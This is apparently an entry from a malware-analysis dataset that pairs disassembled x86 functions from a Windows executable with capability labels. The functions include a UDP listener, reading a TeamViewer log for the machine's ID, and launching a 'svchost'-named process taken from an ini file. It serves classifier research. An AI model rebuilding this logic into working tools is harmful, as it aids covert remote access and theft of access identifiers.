joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40921b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x42d4ac
call fcn.00417faa
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.004130ca
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x409266
call fcn.004130ca
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x409277
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x409284
or eax, 0xffffffff
jmp 0x4093e0
mov ecx, esi
call fcn.00408d62
mov dword [ebp - 0x14], eax
call fcn.0040f385
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x409302
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x409302
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x409302
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.00408890
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x409302
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x409302
mov ecx, ebx
call fcn.00412741
test eax, eax
je 0x409302
push 0
mov ecx, ebx
call fcn.0041275c
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.00410cba
push dword [ebp - 0x14]
call fcn.0040f2dd
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.00409023
xor edi, edi
cmp eax, edi
je 0x40935f
test byte [esi + 0x3c], 0x10
je 0x409349
push 4
pop edi
mov ecx, esi
call fcn.004126ec
test ax, 0x100
je 0x40933f
push 5
pop edi
push edi
mov ecx, esi
call fcn.0040eea5
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x40935f
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.004127c3
or dword [ebp - 4], 0xffffffff
jmp 0x40938a
cmp dword [ebp - 0x28], edi
je 0x409398
push 1
mov ecx, ebx
call fcn.0041275c
cmp dword [ebp - 0x2c], edi
je 0x4093a8
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x4093c1
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x4093c1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.00408d9c
cmp dword [esi + 0x58], edi
je 0x4093dd
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.00418016
ret
Function at 0x409c84
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x1f4]
sub esp, 0x274
mov eax, dword [0x43abb0]
xor eax, ebp
mov dword [ebp + 0x1f0], eax
cmp dword [ebp + 0x200], 0x800
mov eax, dword [ebp + 0x1fc]
push esi
mov dword [ebp - 0x40], eax
mov esi, ecx
lea eax, [ebp + 0x1e8]
jne 0x409d22
push 0x42fdbc
push 4
push eax
call fcn.00417a7b
push eax
call fcn.00404960
add esp, 0x10
push ebx
push edi
call fcn.004180f9
mov edi, dword [eax]
call fcn.004180f9
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp + 0x1e8]
push eax
push dword [ebp - 0x40]
lea eax, [ebp - 0x3c]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0041809f
add esp, 0x18
mov dword [ebp - 0x40], eax
call fcn.004180f9
cmp dword [eax], ebx
je 0x409d39
call fcn.004180f9
push dword [eax]
call fcn.00408a3c
pop ecx
jmp 0x409d40
push 4
push eax
push 3
push dword [ebp + 0x200]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x409cd3
jmp 0x409db2
call fcn.004180f9
mov dword [eax], edi
cmp dword [ebp - 0x40], 0xffffffff
je 0x409dae
cmp dword [ebp - 0x40], esi
jae 0x409dae
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x7c]
push ebx
push eax
mov dword [ebp - 0x80], 0x40
call fcn.00418140
add esp, 0xc
push 0x42fb1c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x409da0
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x409da0
lea ecx, [ebp - 0x80]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x409da0
push ebx
push ebx
push esi
jmp 0x409da6
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x409db0
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp + 0x1f0]
xor ecx, ebp
pop esi
call fcn.004161ab
add ebp, 0x1f4
leave
ret
Function at 0x411dd4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x411e17
call fcn.004130ca
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x411e17
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x411e32
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0041198e
test ebx, ebx
mov esi, eax
je 0x411e30
test edi, edi
je 0x411e30
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4140d6
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x414104
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x414122
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00414040
jmp 0x414122
mov eax, dword [esi + 0x14]
test eax, eax
je 0x414122
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00414040
test edi, edi
mov eax, edi
jne 0x41410c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x43de08]
test ecx, ecx
je 0x4141e5
jmp 0x4140d5
ret 8

Function at 0x4161ab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43abb0]
jne 0x4161b5
repz ret
jmp fcn.0041cc8f
Function at 0x41aff2
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x43ad50]
je 0x41b00d
inc edi
cmp edi, 0x17
jb 0x41affe
cmp edi, 0x17
jae 0x41b18d
push ebp
push 3
call fcn.004255db
cmp eax, 1
pop ecx
je 0x41b159
push 3
call fcn.004255db
test eax, eax
pop ecx
jne 0x41b041
cmp dword [0x43ab8c], 1
je 0x41b159
cmp ebx, 0xfc
je 0x41b18c
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x43e0b8
push ebp
call fcn.0041fb09
add esp, 0xc
test eax, eax
je 0x41b077
push esi
push esi
push esi
push esi
push esi
call fcn.0041cb6f
add esp, 0x14
push 0x104
mov esi, 0x43e0d1
push esi
push 0
mov byte [0x43e1d5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41b0bb
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0041fb09
add esp, 0xc
test eax, eax
je 0x41b0bb
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0041cb6f
add esp, 0x14
push esi
call fcn.004206d0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x41b100
push esi
call fcn.004206d0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x43e3cc
push 0x4318e4
sub ecx, eax
push ecx
push eax
call fcn.0041fa56
add esp, 0x14
test eax, eax
je 0x41b100
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0041cb6f
add esp, 0x14
jmp 0x41b102
xor esi, esi
push 0x4318e0
push ebx
push ebp
call fcn.0041f992
add esp, 0xc
test eax, eax
je 0x41b122
push esi
push esi
push esi
push esi
push esi
call fcn.0041cb6f
add esp, 0x14
push dword [edi*8 + 0x43ad54]
push ebx
push ebp
call fcn.0041f992
add esp, 0xc
test eax, eax
je 0x41b144
push esi
push esi
push esi
push esi
push esi
call fcn.0041cb6f
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0042541e
add esp, 0xc
jmp 0x41b18c
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x41b18c
cmp ebp, 0xffffffff
je 0x41b18c
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x43ad54]
push dword [esi]
call fcn.004206d0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x42541e
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0041bbb6
xor ebx, ebx
cmp dword [0x43ebc0], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4254f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4255d4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x4255d4
push eax
call fcn.0041bb48
mov dword [esp], 0x432be8
push edi
mov dword [0x43ebc0], eax
call esi
push eax
call fcn.0041bb48
mov dword [esp], 0x432bd4
push edi
mov dword [0x43ebc4], eax
call esi
push eax
call fcn.0041bb48
mov dword [0x43ebc8], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00418295
test eax, eax
pop ecx
pop ecx
je 0x4254c2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041cb6f
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4254f4
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0041bb48
cmp eax, ebx
pop ecx
mov dword [0x43ebd0], eax
je 0x4254f4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041bb48
pop ecx
mov dword [0x43ebcc], eax
mov eax, dword [0x43ebcc]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x425579
cmp dword [0x43ebd0], ecx
je 0x425579
push eax
call fcn.0041bbbf
push dword [0x43ebd0]
mov esi, eax
call fcn.0041bbbf
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x425579
cmp edi, ebx
je 0x425579
call esi
cmp eax, ebx
je 0x425546
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x425546
test byte [ebp - 0x18], 1
jne 0x425579
lea eax, [ebp - 0x10]
push eax
call fcn.004182cc
test eax, eax
pop ecx
je 0x425561
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041cb6f
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x425570
or dword [ebp + 0x10], 0x200000
jmp 0x4255b4
or dword [ebp + 0x10], 0x40000
jmp 0x4255b4
mov eax, dword [0x43ebc4]
cmp eax, dword [ebp - 8]
je 0x4255b4
push eax
call fcn.0041bbbf
cmp eax, ebx
pop ecx
je 0x4255b4
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4255b4
mov eax, dword [0x43ebc8]
cmp eax, dword [ebp - 8]
je 0x4255b4
push eax
call fcn.0041bbbf
cmp eax, ebx
pop ecx
je 0x4255b4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43ebc0]
call fcn.0041bbbf
cmp eax, ebx
pop ecx
je 0x4255d4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4255d6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42d07e
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x43abb0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0042d013
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00418140
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x42d0cd
cmp dword [ebp - 0x1c], 5
jb 0x42d0e5
jmp 0x42d0e1
cmp dword [ebp - 0x10], 1
jne 0x42d0e5
cmp dword [ebp - 0x1c], 4
ja 0x42d0e1
jne 0x42d0e5
cmp dword [ebp - 0x18], 0
jbe 0x42d0e5
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x433478
call fcn.0042cf04
test eax, eax
jge 0x42d106
mov byte [0x43eda8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004161ab
add ebp, 0x78
leave
ret
Function at 0x401000
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x426a2c
mov eax, dword fs:[0]
push eax
sub esp, 0x198
mov eax, dword [0x431c44]
xor eax, esp
mov dword [esp + 0x194], eax
push esi
mov eax, dword [0x431c44]
xor eax, esp
push eax
lea eax, [esp + 0x1a0]
mov dword fs:[0], eax
mov dword [esp + 8], edi
mov dword [edi], vtable.CCommunicate.0
lea eax, [esp + 0xc]
push eax
push 0x202
mov dword [esp + 0x1b0], 1
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401068
push str.WSAStartup_Error__n
jmp 0x40106d
push str.WSAStartup_Success__n
call fcn.0041129d
add esp, 4
lea esi, [edi + 0x10]
mov byte [edi + 0xd], 0
call fcn.004015d0
lea esi, [edi + 0x34]
call fcn.004015d0
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov eax, edi
mov ecx, dword [esp + 0x1a0]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.0041128e
add esp, 0x1a4
ret
Function at 0x401140
Capabilities:
Create thread
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x2c
mov eax, dword [0x431c44]
xor eax, esp
mov dword [esp + 0x24], eax
cmp byte [esi + 0xd], 0
push ebx
push edi
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
mov ebx, 1
jne 0x40121f
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x4011a0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Failed_Socket__ErrorCode:_d__n
call fcn.0041129d
add esp, 8
xor al, al
pop edi
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0041128e
add esp, 0x2c
ret
mov eax, 2
push 0x1ffd
mov word [esp + 0x20], ax
mov dword [esp + 0x24], 0
call dword [sym.imp.WS2_32.dll_ntohs]
push 4
lea edx, [esp + 0x10]
push edx
push 4
mov word [esp + 0x2a], ax
mov eax, dword [esi + 8]
push 0xffff
lea ecx, [esp + 0x28]
push eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x20], ecx
call edi
mov edx, dword [esi + 8]
push 0x10
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40121f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Failed_Bind__ErrorCode:_d__n
call fcn.0041129d
add esp, 8
xor al, al
pop edi
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0041128e
add esp, 0x2c
ret
mov edx, dword [esi + 8]
push 4
lea ecx, [esp + 0x10]
push ecx
push 0x20
push 0xffff
lea eax, [esp + 0x20]
push edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], eax
call edi
mov edx, dword [esi + 8]
push 4
lea ecx, [esp + 0x10]
push ecx
push 0xb
push 0
lea eax, [esp + 0x24]
push edx
mov dword [esp + 0x28], 0
mov dword [esp + 0x20], eax
call edi
mov eax, 2
push 0x1ffd
mov word [esi + 0x58], ax
mov dword [esi + 0x5c], 0xffffffff
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 0x5a], ax
call fcn.004012e0
mov byte [esi + 0xd], bl
mov byte [esi + 0xc], 0
mov dword [esi + 0x68], ebx
mov dword [esi + 0x6c], 0x100
mov dword [esi + 0x70], 0x400
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [esi + 8]
push 3
push eax
push ecx
mov dword [esi + 4], eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
push 0
push 0
push esi
push 0x401380
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2c]
pop edi
mov al, bl
pop ebx
xor ecx, esp
call fcn.0041128e
add esp, 0x2c
ret
Function at 0x4012e0
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x108
mov eax, dword [0x431c44]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x100
lea eax, [esp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
test ecx, ecx
jne 0x40133a
push 0x42b9c4
call fcn.0041129d
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0041128e
add esp, 0x108
ret
movsx eax, word [eax + 0xa]
push eax
push ecx
lea ecx, [esp + 8]
push ecx
call fcn.00417b90
mov edx, dword [esp + 0xc]
add esp, 0xc
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x42b9d8
call fcn.0041129d
mov ecx, dword [esp + 0x10c]
add esp, 8
xor ecx, esp
call fcn.0041128e
add esp, 0x108
ret

Function at 0x401400
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x424
mov eax, dword [0x431c44]
xor eax, esp
mov dword [esp + 0x41c], eax
push ebx
push esi
lea eax, [esp + 0xc]
push eax
mov eax, dword [edi + 8]
lea ecx, [esp + 0x14]
push ecx
push 0
push 0x400
lea edx, [esp + 0x30]
push edx
push eax
mov dword [esp + 0x24], 0x10
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
je 0x401448
mov byte [esp + eax + 0x20], 0
cmp eax, 0x60
jne 0x4014b7
push eax
call fcn.00404619
push 0x60
lea ecx, [esp + 0x28]
mov esi, eax
push ecx
push esi
call fcn.00417b90
mov ecx, dword [esi + 0x50]
mov eax, dword [edi + 0x68]
mov edx, ecx
and edx, eax
add esp, 0x10
cmp edx, eax
je 0x40147e
mov edx, dword [edi + 0x6c]
mov ebx, edx
and ebx, ecx
cmp ebx, edx
jne 0x4014af
cmp dword [esi + 0x58], eax
jne 0x40148b
mov eax, dword [esi + 0x5c]
cmp eax, dword [edi + 0x70]
je 0x4014af
mov ecx, dword [esi + 0x54]
cmp ecx, dword [edi + 0x70]
jne 0x4014af
push esi
lea esi, [edi + 0x10]
mov dword [edi + 0x74], 2
call fcn.004016b0
mov dword [edi + 0x74], 1
jmp 0x401537
push esi
call fcn.00404653
jmp 0x401534
cmp eax, 0x114
jne 0x40152a
push eax
call fcn.00404619
push 0x114
lea edx, [esp + 0x28]
mov esi, eax
push edx
push esi
call fcn.00417b90
mov eax, dword [esi + 0x104]
mov ecx, dword [edi + 0x68]
mov edx, eax
and edx, ecx
add esp, 0x10
cmp edx, ecx
je 0x4014f3
mov edx, dword [edi + 0x6c]
and eax, edx
cmp eax, edx
jne 0x4014af
cmp dword [esi + 0x10c], ecx
jne 0x401506
mov eax, dword [esi + 0x110]
cmp eax, dword [edi + 0x70]
je 0x4014af
mov ecx, dword [esi + 0x108]
cmp ecx, dword [edi + 0x70]
jne 0x4014af
push esi
lea esi, [edi + 0x34]
mov dword [edi + 0x78], 2
call fcn.004016b0
mov dword [edi + 0x78], 1
jmp 0x401537
push 0x42b9e8
call fcn.0041129d
add esp, 4
mov ecx, dword [esp + 0x424]
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0041128e
add esp, 0x424
ret
Function at 0x401df0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x614
mov eax, dword [0x431c44]
xor eax, esp
mov dword [esp + 0x610], eax
push 0
push 0x1a
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e20
sub eax, edx
cmp byte [esp + eax + 8], 0x5c
je 0x401e47
push 0x42ba7c
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00411546
add esp, 0xc
lea eax, [esp + 8]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e50
sub eax, edx
lea edx, [esp + 8]
push edx
inc eax
push eax
lea eax, [esp + 0x114]
push eax
call fcn.004114de
lea eax, [esp + 0x118]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e80
sub eax, edx
push str.TeamViewerTeamViewer4_Logfile.log
add eax, 0x24
push eax
lea ecx, [esp + 0x114]
push ecx
call fcn.00411546
add esp, 0xc
call fcn.00406171
test eax, eax
jne 0x401eb5
push 0x80004005
call fcn.00401850
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
push esi
call eax
push 0x42baa4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x10]
mov esi, eax
push edx
add esi, 0x10
mov byte [esp + 0x13], 0
call fcn.00411821
add esp, 0xc
test eax, eax
je 0x401f1b
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401f03
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor al, al
pop esi
mov ecx, dword [esp + 0x610]
xor ecx, esp
call fcn.0041128e
add esp, 0x614
ret
mov ecx, dword [esp + 8]
push ecx
call fcn.00411874
add esp, 4
test eax, eax
jne 0x401fbf
push 0x400
lea edx, [esp + 0x218]
push 0
push edx
call fcn.004133d0
mov eax, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x224]
push 0x400
push ecx
call fcn.004118dc
add esp, 0x18
cmp byte [esp + 0x214], 0x49
jne 0x401f94
cmp byte [esp + 0x215], 0x44
jne 0x401f94
cmp byte [esp + 0x216], 0x3a
jne 0x401f94
lea eax, [esp + 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f86
sub eax, edx
cmp eax, 0x1f
je 0x401fa7
mov edx, dword [esp + 8]
push edx
call fcn.00411874
add esp, 4
test eax, eax
je 0x401f30
jmp 0x401fbf
lea eax, [esp + 0x228]
push eax
push 0xc
push edi
call fcn.004114de
add esp, 0xc
mov byte [esp + 7], 1
mov ecx, dword [esp + 8]
push ecx
call fcn.00411a9b
lea eax, [esi - 0x10]
add esp, 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401fe8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x614]
mov al, byte [esp + 7]
pop esi
xor ecx, esp
call fcn.0041128e
add esp, 0x614
ret
Function at 0x402140
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x426c28
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x431c44]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x431c44]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
call fcn.00406171
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40218c
push 0x80004005
call fcn.00401850
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x14], esi
mov dword [esp + 0x34], 0
call fcn.00401890
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x435ad0
push 0xffffffffffffffff
push str.everlink
push str.linknet
mov bl, al
call edi
push 0x435ad0
push 0xffffffffffffffff
push str.confailtimes
push str.linknet
mov ebp, eax
call edi
test bl, bl
je 0x40227c
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
test eax, eax
je 0x402215
push 0
lea ecx, [esp + 0x18]
push 0x42ba10
push ecx
call fcn.00404560
mov esi, dword [esp + 0x20]
add esp, 0xc
push 0x435ad0
push esi
push str.confailtimes
push str.linknet
call edi
cmp ebp, 1
je 0x402244
push 1
lea edx, [esp + 0x18]
push 0x42ba10
push edx
call fcn.00404560
mov esi, dword [esp + 0x20]
add esp, 0xc
push 0x435ad0
push esi
push str.everlink
push str.linknet
call edi
lea edi, [esp + 0x18]
call fcn.00401df0
mov ecx, edi
call fcn.00402010
lea eax, [esi - 0x10]
mov dword [esp + 0x34], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402278
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, 1
jmp 0x4022d0
inc eax
push eax
lea ecx, [esp + 0x18]
push 0x42ba10
push ecx
call fcn.00404560
mov esi, dword [esp + 0x20]
add esp, 0xc
push 0x435ad0
push esi
push str.confailtimes
push str.linknet
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea eax, [esi - 0x10]
mov dword [esp + 0x34], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4022ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor al, al
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.0041128e
add esp, 0x24
ret
Function at 0x4022f0
Capabilities:
Create process on windows
Read .ini file

Disassembly:
sub esp, 0x5c
push 0x435ad0
push 0x100
push 0x4358c0
push str.svchost
push str.svchst
push str.svchstrun
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, 0x4358c0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402320
sub eax, edx
push str..exe
add eax, 5
push eax
push 0x4358c0
call fcn.00411546
push 0x44
lea eax, [esp + 0x20]
push 0
push eax
call fcn.004133d0
add esp, 0x18
lea edx, [esp]
push edx
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, 5
push 0x4358c0
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x64], 1
mov word [esp + 0x68], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4023a1
push str.Create_sv_Fail__n
call fcn.0041129d
add esp, 4
push 1
call fcn.00411db7
push str.Success_create_sv__n
call fcn.0041129d
add esp, 4
push 0x435ad0
push 0x42bb18
push 0x42bb1c
push str.svchstrun
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
add esp, 0x5c
ret